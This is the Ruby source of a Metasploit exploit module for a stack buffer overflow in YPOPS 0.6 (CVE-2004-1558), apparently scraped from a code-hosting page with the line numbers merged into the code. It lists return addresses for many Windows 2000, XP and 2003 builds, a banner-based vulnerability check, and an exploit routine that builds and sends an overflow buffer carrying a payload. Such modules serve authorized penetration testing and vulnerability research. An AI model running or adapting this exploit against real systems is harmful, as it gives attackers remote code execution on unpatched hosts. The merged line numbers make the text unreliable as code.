Path: blob/master/modules/exploits/windows/smtp/ypops_overflow1.rb
19572 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Smtp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'YPOPS 0.6 Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the YPOPS POP317service.1819This is a classic stack buffer overflow for YPOPS version 0.6.20Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to21jmp ebx opcode in ws_32.dll22},23'Author' => [ 'acaro <acaro[at]jervus.it>' ],24'References' => [25[ 'CVE', '2004-1558'],26[ 'OSVDB', '10367'],27[ 'BID', '11256'],28[ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],29],30'Platform' => 'win',31'Privileged' => false,32'Payload' => {33'Space' => 1200,34'BadChars' => "\x00\x25",35'MinNops' => 106,36},37'Targets' => [38[ 'Windows 2000 SP0 Italian', { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],39[ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],40[ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],41[ 'Windows 2000 SP0 English', { 'Ret' => 0x75036113, 'Offset' => 503 }, ],42[ 'Windows 2000 SP1 English', { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],43[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],44[ 'Windows 2000 SP3 English', { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],45[ 'Windows 2000 SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],46[ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],47[ 'Windows XP SP2 English', { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],48[ 'Windows 2003 SP0 English', { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],49[ 'Windows 2003 SP1 English', { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],50],51'DisclosureDate' => '2004-09-27',52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)59end6061def check62connect63disconnect6465banner.gsub!(/\n/, '')6667if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/68vprint_status("Vulnerable SMTP server: #{banner}")69return Exploit::CheckCode::Detected70end7172vprint_status("Unknown SMTP server: #{banner}")73return Exploit::CheckCode::Safe74end7576def exploit77connect7879pattern =80rand_text_alpha(target['Offset'] - payload.encoded.length) +81payload.encoded +82[target.ret].pack('V') +83"\n"8485print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")8687sock.put(pattern)8889handler90disconnect91end92end939495